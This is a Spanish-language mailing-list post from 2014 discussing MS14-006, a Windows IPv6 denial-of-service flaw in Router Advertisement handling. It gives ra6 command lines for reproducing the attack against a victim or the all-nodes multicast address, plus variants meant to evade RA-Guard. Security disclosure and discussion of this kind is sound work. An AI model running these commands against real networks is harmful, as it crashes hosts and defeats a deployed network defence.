[LAC-TF] MS14-006: “Microsoft Windows TCP IPv6 Denial of Service Vulnerability”

Fernando Gont fgont at si6networks.com
Fri Mar 28 19:42:54 BRT 2014


FYI:
<http://blog.coresecurity.com/2014/03/25/ms14-006-microsoft-windows-tcp-ipv6-denial-of-service-vulnerability/#sthash.iBLIqqwp.dpuf>


En lo personal, si bien el analisis está cool, creo que ni hacía falta
pensar demasiado.

FWIW, ésta y otras cuestiones han sido reportadas por Mar Heuse, quien
les habla/escribe y algunos otros (ver por ej,
<http://www.si6networks.com/tools/ipv6toolkit/si6networks-ipv6-nd-assessment.pdf>),
obteniendo en ocasiones repuestas del estilo "es ataque require acceso a
la red local, por ende no nos preocupa".

La vulnerabilidad no tiene nada que ver con TCP, sino mas bien con el
processamiento de Router Advertisements.

Por si a alguien le interesa reproducir el ataque, puede hacerlo
mediante la herramienta ra6
(<http://www.si6networks.com/tools/ipv6toolkit/>):

# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET

"TARGET" debe ser la dirección link-local de la victima.. pudiendo
utilizar ff02::1 (all-nodes multicast) si se han levantado algo
insociables. E "INTERFAZ" debe se reemplazado por al interfaz de red con
la que van a hacer el ataque (eth0, wlan0, o lo que sea).


Si la red en cuestión estuviera utilizando RA-Guard, podrín utilizar
algo tipo:


# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET -u 100

o

# ra6 -i INTERFAZ -P ::/64#LA -F 2 -f 250 -z 1 -l -d TARGET -u 1000 -U
100 -y 600

para evadir al bicho en cuestión.


(para entender el resto de las opciones, "ra6 --help" o "man ra6")

UNa buena forma de mantenerse al tanto de todas estas cosas v6-related
es leyendo la lista "ipv6 hackers":
<http://lists.si6networks.com/listinfo/ipv6hackers/>


P.S.: !(<https://www.youtube.com/watch?v=4M6dkGQwiYA>) :-)

Saludos,
-- 
Fernando Gont
SI6 Networks
e-mail: fgont at si6networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492







More information about the LACTF mailing list